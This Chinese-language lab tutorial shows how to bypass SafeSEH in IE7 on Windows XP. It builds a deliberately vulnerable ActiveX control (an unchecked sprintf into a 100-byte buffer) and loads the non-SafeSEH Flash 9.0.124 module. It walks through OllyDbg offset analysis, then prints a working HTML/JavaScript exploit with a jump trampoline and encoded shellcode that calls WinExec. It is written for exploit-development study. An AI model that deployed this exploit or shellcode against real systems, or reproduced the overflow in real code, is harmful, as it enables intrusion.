[闡發情況] 體系: Windows XP Professional sp3
編譯器: Visual Studio 2008
調試器: OllyDbg 1.10
瀏覽器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 這里要留意沒有9.2.124這個版本, 9.0.124是末了沒有啟用SafeS.E.H的。
闡明: 這篇文參考自《0Day》, 由于”應用Adobe Flash Player ActiveX控件繞過SafeS.E.H” 這節有一些小坑, 不留意能夠會試驗失敗, 以是寫了這篇文來一步一步超出這些坑。
相干下載:
OllyFindAddr 鏈接: https://pan.baidu.com/s/1o8E8l8A 暗碼: kc2bAdobe Flash ActiveX 9.0.124 鏈接: https://pan.baidu.com/s/1i5h802T 暗碼: 4sf3Internet Explore 7 鏈接: https://pan.baidu.com/s/1b9qMy6 暗碼: 8g88
0×01 后期籌備
新建一個MFC ActiveX控件, 增加一個test辦法


在test辦法完成里增加代碼


#include #include DWORD MyException(){ printf("There is an exception"); getchar(); return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){ //AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: 在此增加調劑處置法式代碼 printf("aaaa"); // 定位函數的標志 char dest[100]; sprintf(dest,"%s",str); int zero=0; try { zero=1/zero; } except(MyException()) { }}

如圖設置好名目屬性, 抉擇release版本, 禁用優化, 編譯鏈接, 末了在cmd鍵入”Regsvr32 /path/to/activex.ocx”注冊控件
html> body> object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> param name="movie" value="1.swf" /> param name="quality" value="high" /> embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object> script> var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s); script> body> html>
新建一個txt文本, 帖入以上代碼, 更名為poc.html

留意這里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 闡發棧結構
雙擊poc.html主動挪用IE瀏覽器關上, 抉擇容許ActiveX控件


離開這里, 用OllyDbg附加下來

斷下后選”E”找到VulnerAX_SEH.ocx, 點出來, 在printf(“aaaa”)下斷運轉

斷下后離開call sprintf, 追隨棧地點, 再往下一步
 
能夠看到數據曾經copy到棧上, 肇端地點0x01dcf4e4

View->SEH chain, 定位到最近的SE Handler 0x01dcf560, 0x01dcf560-0x01dcf4e4=124 byte

Plugins->OllyFindAddr->Overflow return address->Find CALL/JMP [EBP+N], 抉擇”L”, 找到0x300b2d1c這個跳板

改動poc.html
var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u9090\u9090";s+="\u2D1C\u300B";
再次關上, OD附加下來, 離開call sprintf再走一步, 如今SE Handler曾經籠罩成跳板地點

先在0x300b2d1c下斷, 離開這里Shift+F9運轉

斷下后跟進call, 能夠看到這時候回到了S.E.H結構


0×03 exploit
SE Handler的跳板地點會滋擾shellcode, 將shellcode全體放到上面, 用一個短跳跳曩昔
// junk(120 byte)+jmp short(2 byte)+junk(2 byte)+board(4 byte)+junk(8 byte)+payload(114 byte)var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u0EEB\u9090"; # 0xEB0E->jmp +14(絕對于下一條指令地點+14 byte)s+="\u2D1C\u300B"; # 跳板s+="\u9090\u9090\u9090\u9090"; # junks+="\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u8012\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348b\u01af\u45c6\u3e81\u6146\u6174\uf275\u7e81\u4508\u6978\u7574\u8be9\u247a\uc701\u8b66\u6f2c\u7a8b\u011c\u8bc7\uaf7c\u01fc\u68c7\u2067\u0120\u7968\u7530\u686e\u7720\u6f6f\ue189\u49fe\u310b\u51c0\uff50\u90d7";test.test(s);
如上構造250 byte的shellcode, OD再次附加下來, 離開call sprintf往下一步

F9間接運轉, pwn~

|